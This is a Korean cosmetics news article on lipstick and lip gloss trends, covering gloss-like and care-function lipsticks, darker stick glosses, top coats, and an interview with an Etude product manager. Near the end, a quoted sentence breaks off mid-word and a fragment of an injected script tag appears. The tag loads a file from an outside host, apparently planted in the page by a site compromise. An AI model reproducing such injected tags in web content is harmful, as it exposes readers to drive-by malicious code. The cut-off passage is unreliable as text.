태평양의 ‘아이디얼 스타 루즈 ‘는 출시 3개월만에 30만개가 팔리며 올 하반기까지 히트 아이템으로 손꼽고 있으며, LG생활건강의 이자녹스는 입술 주름을 개선해 주는 듯한 스킨 케어 립스틱 ‘룩시안 링클 프리 립스틱 ‘으로 하반기 립스틱 시장을 공략할 예정이다.
이밖에 초저가 브랜드 미샤는 립스틱 광고에 원빈을 내세워 더 페이스샵의 권상우와 맞대결을 펼쳤다. 이에 립스틱은 2년 전부터 불기 시작한 투명메이크업의 유행으로 립스틱이 립글로스에게 뺏긴 주도권을 조금씩 되찾고 있는 형국을 보이고 있다.
△립글로스형 립스틱 등 특징 세분화=한 브랜드의 홍보담당은 립스틱의 트렌드에 대해 “립스틱이 강조돼도 예전처럼 매트한 립스틱을 생각하면 안 된다"고 충고한다. 그의 말대로 최근 출시된 립스틱의 경향을 살펴보면 립글로스처럼 가볍고 부드럽게 발리는 립스틱이 주류를 이루고 있다.
또한 시각적으로는 일반 립스틱처럼 보이지만 바르면 립글로스처럼 투명하게 발라지는 립글로스형 립스틱의 제작이 눈에 두드러진다. 대표적인 예는 LVMH코스메틱의 크리스찬 디올. ‘립 플뤼드’라는 새로운 이름을 내건 디올은 립 트리트먼트를 강화해 립스틱의 커버력과 색감, 립글로스의 매끄러움을 동시에 만족시켰다.
이 같은 립글로스형 립스틱은 에뛰드의 스타일립스 크림빔, 보브 샤인팝 루즈, 프로랑스 샤인글로스 립스 등 다양하다.
반면, 또 다른 립 트렌드로 케어기능을 겸한 기능성 립스틱도 강세다. 이는 인위적으로 붉고 반짝이는 입술보다 본연의 건강한 립을 연출하기 위함으로 립케어 기능의 제품이 유행하고 있다.
앞으로 출시될 LG생활건강의 이자녹스 룩시안 링클 프리 립스틱은 립케어 영양 성분이 립스틱 한가운데 자리잡은 콘 디자인을 채택해 눈으로도 영양을 확인할 수 있다.
또 나드리의 레오나르 플레르 뚜레 루즈는 각종 비타민과 에센스 성분이 함유돼 얇고 연약한 입술을 보호하고 수분 증발도 방어해준다.
이와 관련 업계관계자는 “최근 출시되는 립스틱들은 대부분 입술 케어 성분을 함유하고 있으며 앞으로는 볼륨감을 주는 기능성 립제품들도 활발히 출시될 것"이라고 설명한다.
△립글로스도 립스틱화=투명화장과 함께 큰 인기를 끈 립글로스는 투명한 색감보다 립스틱 같은 진한 색감의 제품들이 출시되는 경향을 보인다.
또한 립글로스는 립스틱 같은 스틱타입으로 출시돼 립스틱과 립글로스의 경계를 모호하게 만들고 있다.
이는 립글로스의 약한 발색력과 용기 밖으로 흐르는 제품의 단점을 보완하기 위한 것으로 풀이된다. 에뛰드 마케팅팀의 안재연 씨는 “예전 립글로스는 컬러가 연했지만 최근에는 진한 색감과 더불어 다양한 컬러 펄의 함유로 메탈릭한 느낌의 진한 립글로스가 유행"이라고 설명했다.
하지만 그는 “이는 색깔만 살짝 입히는 립글로스에서 컬러감을 살리는 펄을 함유해 다양한 컬러감을 립글로스도 반영하고 있다"고 덧붙였다.
한편, 글로시한 립글로스 같은 탑코트들도 출시되고 있다. 새로운 개념의 탑코트는 립스틱의 색을 고정시켜 주는 제품. 이는 랑콤의 ‘쥬이시 웨어 듀오 ‘가 대표적으로 글로시함과 매트한 색감의 롱래스팅 효과를 지속시켜 주며 립스틱의 새로운 조력자로 떠오르고 있다.
“더욱 간편하게 더욱 화려하게"
“2년 정도 리퀴드 타입의 립제품을 사용한 소비자들이 이제 조금씩 지루해하기 시작한 거죠."
국내 전문 색조사 에뛰드에서 립제품 PM을 맡고 있는 안재연 씨는 최근 립스틱 강세 트렌드에 대해 이같이 분석했다. 또 “한편으로는 립스틱과 립글로스의 경계가 사라지고 있음을 의미하기도 하는 것"이라고 설명했다.
그는 “립스틱이 글로스처럼 촉촉하고 매끄러워지는 것이나 립글로스가 립스틱처럼 색감이 진해지다보면 결국 중간제형의 립제품이 출시돼 립제품이 더욱 간편해 질 것"이라고 전망했다.
하지만 조금씩 스모키 메이크업이 선보이면서 립글로스보다 립스틱의 강세가 이어질 것으로 본다고 설명했다.
립스틱의 유행 컬러에 대해서는 “컬러보다는 펄의 다양화에 주목해야 한다"고 지적했다.
그는 “이제 컬러로 색을 표현하기보다 큰 펄에서부터 미세한 펄까지 다양해져 펄 자체로 색감을 표현하기 시작했다"고 설명했다. 이에 그는 “앞으로 립스틱의 컬러는 누가 독특한 펄을 개발해 내?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr <저작권자 © 제니파크, 무단 전재 및 재배포 금지> |
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